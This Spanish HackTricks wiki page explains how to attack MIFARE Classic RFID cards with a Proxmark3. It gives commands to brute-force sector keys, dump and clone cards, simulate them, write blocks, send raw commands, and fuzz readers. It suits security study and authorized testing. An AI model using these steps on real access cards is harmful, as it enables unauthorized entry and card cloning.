Español - Ht
HackTricks Training Twitter Linkedin Sponsor

Proxmark 3

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Try Hard Security Group

Atacando Sistemas RFID con Proxmark3

Lo primero que necesitas es tener un Proxmark3 e instalar el software y sus dependenciass.

Atacando MIFARE Classic 1KB

Tiene 16 sectores, cada uno tiene 4 bloques y cada bloque contiene 16B. El UID está en el sector 0 bloque 0 (y no se puede alterar). Para acceder a cada sector necesitas 2 claves (A y B) que se almacenan en el bloque 3 de cada sector (sector trailer). El sector trailer también almacena los bits de acceso que dan los permisos de lectura y escritura en cada bloque utilizando las 2 claves. 2 claves son útiles para dar permisos de lectura si conoces la primera y de escritura si conoces la segunda (por ejemplo).

Se pueden realizar varios ataques.

proxmark3> hf mf #List attacks

proxmark3> hf mf chk *1 ? t ./client/default_keys.dic #Keys bruteforce
proxmark3> hf mf fchk 1 t # Improved keys BF

proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF # Read block 0 with the key
proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF # Read sector 0 with the key

proxmark3> hf mf dump 1 # Dump the information of the card (using creds inside dumpkeys.bin)
proxmark3> hf mf restore # Copy data to a new card
proxmark3> hf mf eload hf-mf-B46F6F79-data # Simulate card using dump
proxmark3> hf mf sim *1 u 8c61b5b4 # Simulate card using memory

proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to block 1
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card

El Proxmark3 permite realizar otras acciones como escuchar una comunicación de Tag a Lector para intentar encontrar datos sensibles. En esta tarjeta, simplemente podrías interceptar la comunicación y calcular la clave utilizada porque las operaciones criptográficas utilizadas son débiles y, conociendo el texto plano y cifrado, puedes calcularla (herramienta mfkey64).

Comandos en Bruto

A veces, los sistemas IoT utilizan etiquetas no marcadas o no comerciales. En este caso, puedes usar Proxmark3 para enviar comandos en bruto personalizados a las etiquetas.

proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search

Con esta información podrías intentar buscar información sobre la tarjeta y la forma de comunicarte con ella. Proxmark3 permite enviar comandos en bruto como: hf 14a raw -p -b 7 26

Scripts

El software de Proxmark3 viene con una lista predefinida de scripts de automatización que puedes utilizar para realizar tareas simples. Para recuperar la lista completa, utiliza el comando script list. A continuación, utiliza el comando script run, seguido del nombre del script:

proxmark3> script run mfkeys

Puedes crear un script para fuzzear lectores de etiquetas, copiando los datos de una tarjeta válida solo escribe un script Lua que aleatorice uno o más bytes aleatorios y compruebe si el lector se bloquea con cualquier iteración.

Try Hard Security Group

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
AnteriorFZ - 125kHz RFIDSiguienteFISSURE - The RF Framework

Última actualización